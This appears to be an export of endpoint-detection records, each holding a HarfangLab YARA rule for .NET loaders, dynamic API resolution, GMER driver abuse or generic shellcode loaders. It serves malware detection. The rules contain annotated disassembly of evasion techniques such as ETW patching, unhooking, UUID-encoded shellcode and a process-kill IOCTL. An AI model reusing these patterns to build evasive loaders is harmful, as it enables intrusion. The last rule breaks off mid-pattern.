+  "creation_date": "2026-03-23T11:46:25.586740Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586746Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://stackoverflow.com/questions/24903575/how-to-return-byte-when-decrypt-using-cryptostream-descryptoserviceprovider"
+  ],
+  "name": "generic_dotnet_loader.yar",
+  "content": "import \"dotnet\"\n\nrule generic_dotnet_loader {\n    meta:\n        title = \"Generic Dotnet Loader\"\n        id = \"3ab51ce4-d234-453c-8570-46ecb9548639\"\n        description = \"Detects a generic .NET loader that loads an embedded encrypted payload.\\nThis loader is designed to decrypt and execute its payload in memory. Such loaders are often used by malware to avoid writing malicious files to disk, making them harder to detect. The rule identifies activities indicative of such a loader, including the use of functions like ResumeThread, CreateProcess, ReadProcessMemory, and WriteProcessMemory, which are commonly used to manipulate processes and memory spaces. Additionally, the presence of cryptographic functions such as CreateDecryptor and PerformCryptography further suggests the loader's intent to decrypt and execute malicious code.\\nIt is recommended to verify if the usage of this binary is legitimate.\"\n        references = \"https://stackoverflow.com/questions/24903575/how-to-return-byte-when-decrypt-using-cryptostream-descryptoserviceprovider\"\n        date = \"2024-01-24\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106;attack.defense_evasion;attack.t1055.012\"\n        classification = \"Windows.Loader.UnknownDotnet\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"moderate\"\n\n    strings:\n        $s1 = \"ResumeThread\" ascii fullword\n        $s2 = \"CreateProcess\" ascii fullword\n        $s3 = \"ReadProcessMemory\" ascii fullword\n        $s4 = \"WriteProcessMemory\" ascii fullword\n        $s5 = \"CreateDecryptor\" ascii fullword\n        // Custom function\n        $s6 = \"PerformCryptography\" ascii fullword\n\n    condition:\n        dotnet.is_dotnet and all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_dotnet_loader"
+  ],
+  "rule_creation_date": "2024-01-24",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.UnknownDotnet"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106",
+    "attack.t1055.012"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_dynamic_load_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.571661Z",
+  "creation_date": "2026-03-23T11:46:25.571663Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.571668Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware\nhttps://attack.mitre.org/techniques/T1027/007/"
+  ],
+  "name": "generic_dynamic_load.yar",
+  "content": "rule generic_dynamic_load {\n    meta:\n        title = \"Generic Dynamic API Resolution\"\n        id = \"6ce8c2d2-1dcc-4eca-ab88-faf0e36f0c46\"\n        description = \"Detects general Dynamic API Loading of the kernel32.dll library followed by the VirtualProtect function.\\nThis technique is often used by malware authors to avoid the actual API calls being displayed in the IAT, as a way to defeat static analysis.\\nThis technique has been often seen in SmokeLoader samples.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activity.\"\n        references = \"https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware\\nhttps://attack.mitre.org/techniques/T1027/007/\"\n        date = \"2023-10-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.007\"\n        classification = \"Windows.Generic.DynamicApiLoading\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $load_library_strings = {\n            C6 05 ?? ?? ?? 00 33                          // mov     byte_42490E, 33h ; '3'\n            C6 05 ?? ?? ?? 00 32                          // mov     byte_42490F, 32h ; '2'\n            C6 05 ?? ?? ?? 00 6C                          // mov     byte_424913, 6Ch ; 'l'\n            C6 05 ?? ?? ?? 00 6C                          // mov     byte_424912, 6Ch ; 'l'\n            C6 05 ?? ?? ?? 00 6E                          // mov     byte_42490B, 6Eh ; 'n'\n            C6 05 ?? ?? ?? 00 6C                          // mov     byte_42490D, 6Ch ; 'l'\n            C6 05 ?? ?? ?? 00 6B                          // mov     ProcName, 6Bh ; 'k'\n            C6 05 ?? ?? ?? 00 65                          // mov     byte_42490C, 65h ; 'e'\n            C6 05 ?? ?? ?? 00 72                          // mov     byte_42490A, 72h ; 'r'\n            C6 05 ?? ?? ?? 00 2E                          // mov     byte_424910, 2Eh ; '.'\n            C6 05 ?? ?? ?? 00 64                          // mov     byte_424911, 64h ; 'd'\n            C6 05 ?? ?? ?? 00 65                          // mov     byte_424909, 65h ; 'e'\n            C6 05 ?? ?? ?? 00 00                          // mov     byte_424914, 0\n            FF [6-12]                                     // call    ds:LoadLibraryA\n                                                          // push    esi             ; lpProcName\n                                                          // push    eax             ; hModule\n                                                          // mov     dword_454A80, eax\n            C6 05 ?? ?? ?? 00 65                          // mov     byte_424913, 65h ; 'e'\n            C6 05 ?? ?? ?? 00 69                          // mov     byte_424909, 69h ; 'i'\n            C6 05 ?? ?? ?? 00 75                          // mov     byte_42490C, 75h ; 'u'\n            C6 05 ?? ?? ?? 00 6C                          // mov     byte_42490E, 6Ch ; 'l'\n            C6 05 ?? ?? ?? 00 61                          // mov     byte_42490D, 61h ; 'a'\n            C6 05 ?? ?? ?? 00 6F                          // mov     byte_424911, 6Fh ; 'o'\n            C6 05 ?? ?? ?? 00 74                          // mov     byte_424915, 74h ; 't'\n            C6 05 ?? ?? ?? 00 56                          // mov     ProcName, 56h ; 'V'\n            C6 05 ?? ?? ?? 00 63                          // mov     byte_424914, 63h ; 'c'\n            C6 05 ?? ?? ?? 00 50                          // mov     byte_42490F, 50h ; 'P'\n            C6 05 ?? ?? ?? 00 00                          // mov     byte_424916, 0\n            C6 05 ?? ?? ?? 00 74                          // mov     byte_42490B, 74h ; 't'\n            C6 05 ?? ?? ?? 00 74                          // mov     byte_424912, 74h ; 't'\n            C6 05 ?? ?? ?? 00 72                          // mov     byte_42490A, 72h ; 'r'\n            C6 05 ?? ?? ?? 00 72                          // mov     byte_424910, 72h ; 'r'\n            FF ?? ?? ?? ?? ??                             // call    ds:GetProcAddress\n        }\n\n    condition:\n        $load_library_strings\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_dynamic_load"
+  ],
+  "rule_creation_date": "2023-10-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.DynamicApiLoading"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.007"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic-gmer-exploit_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.590328Z",
+  "creation_date": "2026-03-23T11:46:25.590330Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.590335Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "\nhttps://www.loldrivers.io/drivers/7ce8fb06-46eb-4f4f-90d5-5518a6561f15/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "generic-gmer-exploit.yar",
+  "content": "rule generic_gmer_exploit {\n    meta:\n        title = \"Generic-GMER-Exploit HackTool\"\n        id = \"400f6c4e-b235-4ad5-8a93-b019c50efa95\"\n        description = \"Detects payloads exploiting the gmer64.sys vulnerable driver to terminate protected processes.\\nSuch payloads load the gmer64.sys driver and use its functionality to stop specified processes, likely to bypass protection mechanisms or disrupt legitimate system operations.\"\n        references = \"\\nhttps://www.loldrivers.io/drivers/7ce8fb06-46eb-4f4f-90d5-5518a6561f15/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-02-21\"\n        modified = \"2026-02-11\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        classification = \"Windows.HackTool.GenericGMERExploit\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 32051f61c8d6d1d9bb19fd225ff3a3a2f6c06673f92398cf7178f235ecf3abf2\n\n        $s_device = \"\\\\\\\\.\\\\\" wide ascii\n        $s_winapi_01 = \"CreateFile\" wide ascii\n        $s_winapi_02 = \"DeviceIoControl\" wide ascii\n        $s_winapi_03 = \"CreateService\" wide ascii\n        $s_winapi_04 = \"OpenSCManager\" wide ascii\n        $s_winapi_05 = \"OpenService\" wide ascii\n        $s_winapi_06 = \"StartService\" wide ascii\n        $s_IOCTL_init = { (98 76 C0 04|04 C0 76 98) }\n        $s_IOCTL_kill = { (98 76 C0 94|94 C0 76 98) }\n\n        // Call stub to deviceioctl with the KILL IOCTL\n        $s_call_stub = {\n            41 B9 04 00 00 00   // mov     r9d, 4          ; nInBufferSize\n            [0-12]              // padding\n            BA 94 C0 76 98      // mov     edx, 9876C094h  ; dwIoControlCode\n            [0-12]              // padding\n            FF                  // call    DeviceIoControl\n        }\n\n        // This is handled by the rule 43437884-fa45-43fc-8920-5a6d827fbdb7\n        $filter_superman = \"superman\" wide ascii nocase\n        // This is handled by the rule 22ff49d7-43a4-4641-82c3-012936d91882\n        $filter_blackout = \"blackout\" wide ascii nocase\n\n    condition:\n        all of ($s_*)\n        and not (1 of ($filter_*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "generic_gmer_exploit"
+  ],
+  "rule_creation_date": "2024-02-21",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.GenericGMERExploit"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-generic_loader_586c0a5814c0_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572781Z",
+  "creation_date": "2026-03-23T11:46:25.572783Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572788Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.zerodetection.net/blog/minimal-shellcode-loader-in-c-a-step-by-step-guide\nhttps://redsiege.com/blog/2023/07/obfuscating-shellcode-using-jargon/\nhttps://attack.mitre.org/techniques/T1140/\nhttps://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "generic_loader_586c0a5814c0.yar",
+  "content": "rule generic_loader_586c0a5814c0 {\n    meta:\n        title = \"Generic Loader (586c0a5814c0)\"\n        id = \"1ffdc7c7-3f8d-4a27-a077-586c0a5814c0\"\n        description = \"Detects generic code patterns used by loaders.\\nThis binary likely loads and executes another payload or module in memory.\\nIt is recommended to investigate the source of the loaded module and check for signs of unauthorized execution.\"\n        references = \"https://www.zerodetection.net/blog/minimal-shellcode-loader-in-c-a-step-by-step-guide\\nhttps://redsiege.com/blog/2023/07/obfuscating-shellcode-using-jargon/\\nhttps://attack.mitre.org/techniques/T1140/\\nhttps://attack.mitre.org/techniques/T1055/\"\n        date = \"2025-03-07\"\n        modified = \"2025-03-14\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140;attack.t1562;attack.t1055\"\n        classification = \"Windows.Generic.Loader\"\n        context= \"process,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 0bdfbbd811c57bf008283df10c42fb6d94872983bb827758e05d8fb6c0e55def\n        // 1e6dceab2287bd6f5e7286a7a5f4ed46bf8e39151f70e4faa0699715d1b72772\n        // 1ec9675c5d09c4a74e13c542238f9387b0d0f58223be1d696dc9c9e7cc8f6cce\n        // 6a5f3777f6ec459dc2c773c569fa5730ddb284be99069265f0e74464a3ca2252\n        // caada6c08b2a185a48b66a0b7e28397e6a5a0f04a88bc57366323da9df40f5bb\n        // fb7598c53948b86b4716b1089c44f78a05cbb9791e1156f9a381ec17ee2e4304\n\n        $hash_string = {\n            75 07                                         // jnz     short loc_40182A\n            48 83 45 F0 01                                // add     [rbp+var_10], 1\n            EB 25                                         // jmp     short loc_40184F\n\n                                        // loc_40182A:\n            80 7D EF ??                                   // cmp     [rbp+var_11], 60h\n            76 04                                         // jbe     short loc_401834\n            80 6D EF ??                                   // sub     [rbp+var_11], 20h\n\n                                        // loc_401834:\n            8B 45 FC                                      // mov     eax, [rbp+var_4]\n            C1 E0 ??                                      // shl     eax, 5\n            89 C2                                         // mov     edx, eax\n            8B 45 FC                                      // mov     eax, [rbp+var_4]\n            01 C2                                         // add     edx, eax\n            0F B6 45 EF                                   // movzx   eax, [rbp+var_11]\n            01 D0                                         // add     eax, edx\n            89 45 FC                                      // mov     [rbp+var_4], eax\n            48 83 45 F0 01                                // add     [rbp+var_10], 1\n        }\n\n        $uuid_1 = {\n                                        // loc_1C2381439:\n            48 8B 55 F8                                   // mov     rdx, [rbp+Uuid]\n            8B 45 F4                                      // mov     eax, [rbp+var_C]\n            48 98                                         // cdqe\n            48 8D 0C C5 00 00 00 00                       // lea     rcx, ds:0[rax*8]\n            48 8D 05 ?? ?? ?? ??                          // lea     rax, off_1C23D9BC0 ; \"0171c084-fce8-8348-e000-48c7c3000000\"\n            48 8B 04 01                                   // mov     rax, [rcx+rax]\n            48 89 C1                                      // mov     rcx, rax        ; StringUuid\n            48 8B 05 ?? ?? ?? ??                          // mov     rax, cs:__imp_UuidFromStringA\n            FF D0                                         // call    rax ; __imp_UuidFromStringA\n            89 45 E4                                      // mov     [rbp+var_1C], eax\n            83 7D E4 00                                   // cmp     [rbp+var_1C], 0\n            75 24                                         // jnz     short loc_1C238148E\n            48 83 45 F8 10                                // add     [rbp+Uuid], 10h\n            83 45 F4 01                                   // add     [rbp+var_C], 1\n        }\n        $uuid_2 = {\n            30 31 37 31 63 30 38 34 2D 66 63 65 38 2D     // db '0171c084-fce8-3148-c048-31db4831c948'\n        }\n\n        // https://redsiege.com/blog/2023/07/obfuscating-shellcode-using-jargon/\n        $jargon_x86 = {\n            C7 45 E8 ?? ?? ?? ??                          // mov     [ebp+var_18], 68Fh\n            C7 45 F4 00 00 00 00                          // mov     [ebp+var_C], 0\n            EB 41                                         // jmp     short loc_69041545\n\n                                        // loc_69041504:\n            C7 45 F0 00 00 00 00                          // mov     [ebp+var_10], 0\n            EB 2B                                         // jmp     short loc_69041538\n\n                                        // loc_6904150D:\n            8B 45 F0                                      // mov     eax, [ebp+var_10]\n            8B 14 85 ?? ?? ?? ??                          // mov     edx, _translation_table[eax*4]\n            8B 45 F4                                      // mov     eax, [ebp+var_C]\n            8B 04 85 ?? ?? ?? ??                          // mov     eax, _translated_shellcode[eax*4]\n            39 C2                                         // cmp     edx, eax\n            75 0F                                         // jnz     short loc_69041534\n            8B 55 F4                                      // mov     edx, [ebp+var_C]\n            8B 45 EC                                      // mov     eax, [ebp+var_14]\n            01 D0                                         // add     eax, edx\n            8B 55 F0                                      // mov     edx, [ebp+var_10]\n            88 10                                         // mov     [eax], dl\n            EB 0D                                         // jmp     short loc_69041541\n\n                                        // loc_69041534:\n            83 45 F0 01                                   // add     [ebp+var_10], 1\n\n                                        // loc_69041538:\n            81 7D F0 FF 00 00 00                          // cmp     [ebp+var_10], 0FFh\n            7E CC                                         // jle     short loc_6904150D\n        }\n        $jargon_x64 = {\n                                        // loc_1C238142D:\n            C7 45 F8 00 00 00 00                          // mov     [rbp+var_8], 0\n            EB 4D                                         // jmp     short loc_1C2381483\n\n                                        // loc_1C2381436:\n            8B 45 F8                                      // mov     eax, [rbp+var_8]\n            48 98                                         // cdqe\n            48 8D 14 C5 00 00 00 00                       // lea     rdx, ds:0[rax*8]\n            48 8D 05 ?? ?? ?? ??                          // lea     rax, off_1C2383020 ; \"ought\"\n            48 8B 14 02                                   // mov     rdx, [rdx+rax]\n            8B 45 FC                                      // mov     eax, [rbp+var_4]\n            48 98                                         // cdqe\n            48 8D 0C C5 00 00 00 00                       // lea     rcx, ds:0[rax*8]\n            48 8D 05 ?? ?? ?? ??                          // lea     rax, off_1C2383820 ; \"warning\"\n            48 8B 04 01                                   // mov     rax, [rcx+rax]\n            48 39 C2                                      // cmp     rdx, rax\n            75 14                                         // jnz     short loc_1C238147F\n            8B 45 FC                                      // mov     eax, [rbp+var_4]\n            48 63 D0                                      // movsxd  rdx, eax\n            48 8B 45 F0                                   // mov     rax, [rbp+var_10]\n            48 01 D0                                      // add     rax, rdx\n            8B 55 F8                                      // mov     edx, [rbp+var_8]\n            88 10                                         // mov     [rax], dl\n            EB 0D                                         // jmp     short loc_1C238148C\n        }\n\n        // patchEtw()\n        $patchetw_x86 = {\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            83 EC 48                                      // sub     esp, 48h\n            C7 45 E8 48 33 C0 C3                          // mov     [ebp+var_18], 0C3C03348h\n            C7 45 DE 6E 74 64 6C                          // mov     dword ptr [ebp+ModuleName], 6C64746Eh\n            C7 45 E2 6C 2E 64 6C                          // mov     [ebp+var_1E], 6C642E6Ch\n            66 C7 45 E6 6C 00                             // mov     [ebp+var_1A], 6Ch ; 'l'\n            8D 45 DE                                      // lea     eax, [ebp+ModuleName]\n            89 04 24                                      // mov     [esp], eax      ; lpModuleName\n            A1 ?? ?? ?? ??                                // mov     eax, ds:__imp__GetModuleHandleA@4 ; GetModuleHandleA(x)\n            FF D0                                         // call    eax ; GetModuleHandleA(x) ; GetModuleHandleA(x)\n            83 EC 04                                      // sub     esp, 4\n            89 45 F4                                      // mov     [ebp+hModule], eax\n            C7 45 D1 4E 74 54 72                          // mov     dword ptr [ebp+ProcName], 7254744Eh\n            C7 45 D5 61 63 65 45                          // mov     [ebp+var_2B], 45656361h\n            C7 45 D9 76 65 6E 74                          // mov     [ebp+var_27], 746E6576h\n            C6 45 DD 00                                   // mov     [ebp+var_23], 0\n        }\n        $patchetw_x64_v1 = {\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 60                                   // sub     rsp, 60h\n            C7 45 E4 48 33 C0 C3                          // mov     [rbp+var_1C], 0C3C03348h\n            48 B8 6E 74 64 6C 6C 2E 64 6C                 // mov     rax, 6C642E6C6C64746Eh\n            48 89 45 DA                                   // mov     qword ptr [rbp+ModuleName], rax\n            66 C7 45 E2 6C 00                             // mov     [rbp+var_1E], 6Ch ; 'l'\n            48 8D 45 DA                                   // lea     rax, [rbp+ModuleName]\n            48 89 C1                                      // mov     rcx, rax        ; lpModuleName\n            48 8B 05 ?? ?? ?? ??                          // mov     rax, cs:__imp_GetModuleHandleA\n            FF D0                                         // call    rax ; __imp_GetModuleHandleA\n            48 89 45 F8                                   // mov     [rbp+hModule], rax\n            48 B8 4E 74 54 72 61 63 65 45                 // mov     rax, 456563617254744Eh\n            48 89 45 CD                                   // mov     qword ptr [rbp+ProcName], rax\n            C7 45 D5 76 65 6E 74                          // mov     [rbp+var_2B], 746E6576h\n            C6 45 D9 00                                   // mov     [rbp+var_27], 0\n        }\n        $patchetw_x64_v2 = {\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            48 83 EC 50                                   // sub     rsp, 50h\n            48 B8 6E 74 64 6C 6C 2E 64 6C                 // mov     rax, 6C642E6C6C64746Eh\n            48 89 45 E6                                   // mov     qword ptr [rbp+ModuleName], rax\n            66 C7 45 EE 6C 00                             // mov     [rbp+var_12], 6Ch ; 'l'\n            48 8D 45 E6                                   // lea     rax, [rbp+ModuleName]\n            48 89 C1                                      // mov     rcx, rax        ; lpModuleName\n            48 8B 05 ?? ?? ?? ??                          // mov     rax, cs:__imp_GetModuleHandleA\n            FF D0                                         // call    rax ; __imp_GetModuleHandleA\n            48 89 45 F8                                   // mov     [rbp+hModule], rax\n            48 B8 4E 74 54 72 61 63 65 45                 // mov     rax, 456563617254744Eh\n            48 89 45 D9                                   // mov     qword ptr [rbp+ProcName], rax\n            48 B8 63 65 45 76 65 6E 74 00                 // mov     rax, 746E6576456563h\n            48 89 45 DE                                   // mov     qword ptr [rbp+ProcName+5], rax\n        }\n\n        // UNHOOKING_GetJmpInstructionLength()\n        $unhooking_get_x86 = {\n            0F B6 45 FB                                   // movzx   eax, [ebp+var_5]\n            0F B6 C0                                      // movzx   eax, al\n            3D FF 00 00 00                                // cmp     eax, 0FFh\n            74 4F                                         // jz      short loc_69041693\n            3D FF 00 00 00                                // cmp     eax, 0FFh\n            7F 75                                         // jg      short loc_690416C0\n            3D EB 00 00 00                                // cmp     eax, 0EBh\n            74 17                                         // jz      short loc_69041669\n            3D EB 00 00 00                                // cmp     eax, 0EBh\n            7F 67                                         // jg      short loc_690416C0\n            3D E9 00 00 00                                // cmp     eax, 0E9h\n            74 17                                         // jz      short loc_69041677\n            3D EA 00 00 00                                // cmp     eax, 0EAh\n            74 1E                                         // jz      short loc_69041685\n            EB 57                                         // jmp     short loc_690416C0\n        }\n        $unhooking_get_x64 = {\n            0F B6 45 FB                                   // movzx   eax, [rbp+var_5]\n            0F B6 C0                                      // movzx   eax, al\n            3D FF 00 00 00                                // cmp     eax, 0FFh\n            74 ??                                         // jz      short loc_14000171F\n            3D FF 00 00 00                                // cmp     eax, 0FFh\n            0F 8F 81 00 00 00                             // jg      loc_140001752\n            3D EB 00 00 00                                // cmp     eax, 0EBh\n            74 17                                         // jz      short loc_1400016EF\n            3D EB 00 00 00                                // cmp     eax, 0EBh\n            7F 73                                         // jg      short loc_140001752\n            3D E9 00 00 00                                // cmp     eax, 0E9h\n            74 19                                         // jz      short loc_1400016FF\n            3D EA 00 00 00                                // cmp     eax, 0EAh\n            74 22                                         // jz      short loc_14000170F\n            EB 63                                         // jmp     short loc_140001752\n        }\n\n        // UNHOOKING_IsInstructionJmp\n        $unhooking_is_x86 = {\n            55                                            // push    ebp\n            89 E5                                         // mov     ebp, esp\n            83 EC 04                                      // sub     esp, 4\n            8B 45 08                                      // mov     eax, [ebp+arg_0]\n            88 45 FC                                      // mov     [ebp+var_4], al\n            0F B6 45 FC                                   // movzx   eax, [ebp+var_4]\n            3D EB 00 00 00                                // cmp     eax, 0EBh\n            7F 09                                         // jg      short loc_690415F3\n            3D E9 00 00 00                                // cmp     eax, 0E9h\n            7D 09                                         // jge     short loc_690415FA\n            EB 0E                                         // jmp     short loc_69041601\n\n                                        // loc_690415F3:\n            3D FF 00 00 00                                // cmp     eax, 0FFh\n            75 07                                         // jnz     short loc_69041601\n\n                                        // loc_690415FA:\n            B8 01 00 00 00                                // mov     eax, 1\n            EB 05                                         // jmp     short locret_69041606\n\n                                        // loc_69041601:\n            B8 00 00 00 00                                // mov     eax, 0\n\n                                        // locret_69041606:\n            C9                                            // leave\n            C3                                            // retn\n        }\n        $unhooking_is_x64 = {\n            55                                            // push    rbp\n            48 89 E5                                      // mov     rbp, rsp\n            89 C8                                         // mov     eax, ecx\n            88 45 10                                      // mov     [rbp+arg_0], al\n            0F B6 45 10                                   // movzx   eax, [rbp+arg_0]\n            3D EB 00 00 00                                // cmp     eax, 0EBh\n            7F 09                                         // jg      short loc_14000166E\n            3D E9 00 00 00                                // cmp     eax, 0E9h\n            7D 09                                         // jge     short loc_140001675\n            EB 0E                                         // jmp     short loc_14000167C\n\n                                        // loc_14000166E:\n            3D FF 00 00 00                                // cmp     eax, 0FFh\n            75 07                                         // jnz     short loc_14000167C\n\n                                        // loc_140001675:\n            B8 01 00 00 00                                // mov     eax, 1\n            EB 05                                         // jmp     short loc_140001681\n\n                                        // loc_14000167C:\n            B8 00 00 00 00                                // mov     eax, 0\n\n                                        // loc_140001681:\n            5D                                            // pop     rbp\n            C3                                            // retn\n        }\n\n        $start_code_v1 = {\n            FC                                            // cld\n            (\n                48 29 C0             |                    // sub     rax, rax\n                48 31 C0             |                    // xor     rax, rax\n                48 83 E0 00          |                    // and     rax, 0\n                48 C7 C0 00 00 00 00                      // mov     rax, 0\n            )\n            (\n                48 29 DB             |                    // sub     rbx, rbx\n                48 31 DB             |                    // xor     rbx, rbx\n                48 83 E3 00          |                    // and     rbx, 0\n                48 C7 C3 00 00 00 00                      // mov     rbx, 0\n            )\n            48 31 C9                                      // xor     rcx, rcx\n            (\n                48 29 FF             |                    // sub     rdi, rdi\n                48 31 FF             |                    // xor     rdi, rdi\n                48 83 E7 00          |                    // and     rdi, 0\n                48 C7 C7 00 00 00 00                      // mov     rdi, 0\n            )\n            EB ??                                         // jmp     short loc_14000D079\n\n                                        // sub_14000D02F\n            5A                                            // pop     rdx\n            04 FE                                         // add     al, 0FEh\n            48 89 C6                                      // mov     rsi, rax\n        }\n        $start_code_v2 = {\n            84 C0                                         // test    al, al\n            71 01                                         // jno     short near ptr loc_140012024+1\n\n                                        // loc_140012024:\n            E8 ?? ?? ?? ??                                // call    near ptr 1002A6925h\n            [0-4]\n            (\n                48 29 DB             |                    // sub     rbx, rbx\n                48 31 DB             |                    // xor     rbx, rbx\n                48 83 E3 00          |                    // and     rbx, 0\n                48 C7 C3 00 00 00 00                      // mov     rbx, 0\n            )\n            (\n                48 29 C9             |                    // sub     rcx, rcx\n                48 31 C9             |                    // xor     rcx, rcx\n                48 83 E1 00          |                    // and     rcx, 0\n                48 C7 C1 00 00 00 00                      // mov     rcx, 0\n            )\n            (\n                48 29 FF             |                    // sub     rdi, rdi\n                48 31 FF             |                    // xor     rdi, rdi\n                48 83 E7 00          |                    // and     rdi, 0\n                48 C7 C7 00 00 00 00                      // mov     rdi, 0\n            )\n            EB ??                                         // jmp     short loc_140012091\n        }\n\n        $next_code_v1 = {\n            75 ??                                         // jnz     short loc_14000D040\n            48 31 CA                                      // xor     rdx, rcx\n            48 31 C9                                      // xor     rcx, rcx\n            48 FF C8                                      // dec     rax\n            88 02                                         // mov     [rdx], al\n            48 31 FA                                      // xor     rdx, rdi\n            48 FF C3                                      // inc     rbx\n            48 39 F3                                      // cmp     rbx, rsi\n            75 ??                                         // jnz     short loc_14000D040\n            48 29 F3                                      // sub     rbx, rsi\n            48 01 DA                                      // add     rdx, rbx\n            48 31 FA                                      // xor     rdx, rdi\n            FF E2                                         // jmp     rdx\n        }\n\n        $next_code_v2 = {\n            88 